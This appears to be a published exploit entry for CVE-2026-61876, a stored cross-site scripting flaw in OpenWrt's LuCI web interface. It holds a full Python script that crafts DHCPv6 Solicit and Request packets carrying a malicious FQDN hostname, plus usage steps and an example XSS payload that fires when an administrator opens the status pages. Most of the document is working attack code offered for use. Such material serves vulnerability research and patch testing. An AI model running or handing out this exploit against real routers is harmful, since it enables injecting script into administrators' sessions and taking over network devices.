# Exploit Title: LuCI DHCPv6 - Lease Hostname Stored Cross-Site Scripting
# CVE: CVE-2026-61876
# Date: 2026-07-13
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Author Blog : https://banyamersecurity.com/blog/
# Vendor Homepage: https://openwrt.org/
# Software Link: https://github.com/openwrt/luci
# Affected: OpenWrt LuCI (luci-mod-status, luci-mod-network) before patch
# Tested on: OpenWrt 25.12.0-rc1 x86_64
# Category: Remote
# Platform: Linux
# Exploit Type: Stored XSS
# CVSS: 8.8
# Description: An unauthenticated adjacent-network attacker can inject malicious HTML/JavaScript via DHCPv6 Client FQDN (option 39). The hostname is stored by odhcpd and rendered unsafely via innerHTML in LuCI status tables.
# Fixed in: LuCI commit 55379d0 (and backports)
# Usage:
# python3 exploit.py --ifindex <LAN_INTERFACE_INDEX> --hostname '<payload>'
#
# Examples:
# python3 exploit.py --ifindex 2 --hostname '<details/open/ontoggle=alert("XDHCP6D")>'
#
# Options:
# --ifindex Interface index of the LAN interface
# --hostname Malicious hostname/FQDN payload
# --server DHCPv6 server (default: ff02::1:2)
# --release Release the lease after injection
#
# Notes:
# • Requires adjacent network access (LAN)
# • Administrator must view Status > Overview or Network > DHCP and DNS
# • Payload example triggers alert(); other XSS payloads work too.
#
# How to Use
#
# Step 1:
# Identify your LAN interface index: ip -o link show | awk '{print $1, $2}'
#
# Step 2:
# Run the exploit and then open LuCI as admin to trigger the payload.
def banner():
print(r"""
╔██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗╗
║██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║
║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ███████╔╝
║██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗
║██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║
╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝
╔═╗ Banyamer Security ╔═╝
""")
import argparse
import os
import random
import socket
import struct
import time
OPT_CLIENTID = 1
OPT_SERVERID = 2
OPT_IA_NA = 3
OPT_ORO = 6
OPT_ELAPSED = 8
OPT_STATUS = 13
OPT_IAADDR = 5
OPT_FQDN = 39
def opt(code, data):
return struct.pack("!HH", code, len(data)) + data
def options(buf):
i = 0
while i + 4 <= len(buf):
code, length = struct.unpack("!HH", buf[i:i + 4])
i += 4
yield code, buf[i:i + length]
i += length
def first_opt(buf, wanted):
for code, data in options(buf):
if code == wanted:
return data
return None
def encode_domain(name):
labels = name.rstrip(".").split(".") if name else []
out = bytearray()
for label in labels:
raw = label.encode("utf-8")
if len(raw) > 63:
raise ValueError("domain label too long for DHCPv6 FQDN option")
out.append(len(raw))
out += raw
out.append(0)
return bytes(out)
def make_duid(mac):
dhcpv6_epoch = 946684800
now = int(time.time() - dhcpv6_epoch)
return struct.pack("!HHI", 1, 1, now) + mac
def make_msg(msg_type, txid, opts):
return bytes([msg_type]) + txid + b"".join(opts)
def parse_msg(data):
if len(data) < 4:
return None
return data[0], data[1:4], data[4:]
def open_sock(ifindex, port, bind_addr):
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.settimeout(4)
try:
s.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_MULTICAST_IF, ifindex)
except OSError:
pass
try:
s.bind((bind_addr, port, 0, ifindex if bind_addr.startswith("fe80:") else 0))
return s, port
except OSError:
if port != 0:
s.bind((bind_addr, 0, 0, ifindex if bind_addr.startswith("fe80:") else 0))
return s, s.getsockname()[1]
raise
def send_recv(sock, dst, msg, txid, expect_types):
sock.sendto(msg, dst)
deadline = time.time() + 5
while time.time() < deadline:
try:
data, addr = sock.recvfrom(4096)
except socket.timeout:
break
parsed = parse_msg(data)
if not parsed:
continue
msg_type, rxid, opts = parsed
if rxid == txid and msg_type in expect_types:
return msg_type, opts, addr, data
return None
def status_text(ia_na):
if not ia_na:
return ""
for code, data in options(ia_na[12:]):
if code == OPT_STATUS and len(data) >= 2:
status = struct.unpack("!H", data[:2])[0]
text = data[2:].decode("utf-8", "replace")
return f"status={status} {text}".strip()
return ""
def main():
banner()
ap = argparse.ArgumentParser(description="LuCI DHCPv6 FQDN XSS Exploit (CVE-2026-61876)")
ap.add_argument("--ifindex", type=int, required=True)
ap.add_argument("--hostname", required=True)
ap.add_argument("--server", default="ff02::1:2")
ap.add_argument("--bind-addr", default="::")
ap.add_argument("--port", type=int, default=546)
ap.add_argument("--release", action="store_true")
ap.add_argument("--duid-hex")
ap.add_argument("--iaid-hex")
args = ap.parse_args()
if args.duid_hex:
duid = bytes.fromhex(args.duid_hex)
mac = duid[-6:] if len(duid) >= 14 else b"\x00" * 6
else:
mac = bytes([0x02, 0x00, 0x5e, random.randrange(256), random.randrange(256), random.randrange(256)])
duid = make_duid(mac)
iaid = bytes.fromhex(args.iaid_hex) if args.iaid_hex else os.urandom(4)
fqdn = bytes([0]) + encode_domain(args.hostname)
oro = struct.pack("!HHH", 23, 24, OPT_FQDN)
sock, sport = open_sock(args.ifindex, args.port, args.bind_addr)
dst = (args.server, 547, 0, args.ifindex if args.server.startswith("ff") or args.server.startswith("fe80:") else 0)
txid = os.urandom(3)
solicit = make_msg(1, txid, [
opt(OPT_CLIENTID, duid),
opt(OPT_IA_NA, iaid + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00"),
opt(OPT_ORO, oro),
opt(OPT_ELAPSED, b"\x00\x00"),
opt(OPT_FQDN, fqdn),
])
adv = send_recv(sock, dst, solicit, txid, {2})
if not adv:
print(f"NO_ADVERTISE source_port={sport}")
return 2
_, adv_opts, addr, _ = adv
serverid = first_opt(adv_opts, OPT_SERVERID)
ia_na = first_opt(adv_opts, OPT_IA_NA)
print(f"ADVERTISE from={addr[0]} source_port={sport}")
if not serverid or not ia_na:
return 3
txid = os.urandom(3)
request = make_msg(3, txid, [
opt(OPT_CLIENTID, duid),
opt(OPT_SERVERID, serverid),
opt(OPT_IA_NA, ia_na),
opt(OPT_ORO, oro),
opt(OPT_ELAPSED, b"\x00\x00"),
opt(OPT_FQDN, fqdn),
])
rep = send_recv(sock, dst, request, txid, {7})
if not rep:
print("NO_REPLY")
return 4
_, reply_opts, addr, _ = rep
print(f"REPLY from={addr[0]}")
if args.release:
txid = os.urandom(3)
release = make_msg(8, txid, [
opt(OPT_CLIENTID, duid),
opt(OPT_SERVERID, serverid),
opt(OPT_IA_NA, ia_na),
])
rel = send_recv(sock, dst, release, txid, {7})
print("RELEASE_REPLY" if rel else "NO_RELEASE_REPLY")
print(f"DUID={duid.hex()} IAID={iaid.hex()}")
return 0
if __name__ == "__main__":
raise SystemExit(main())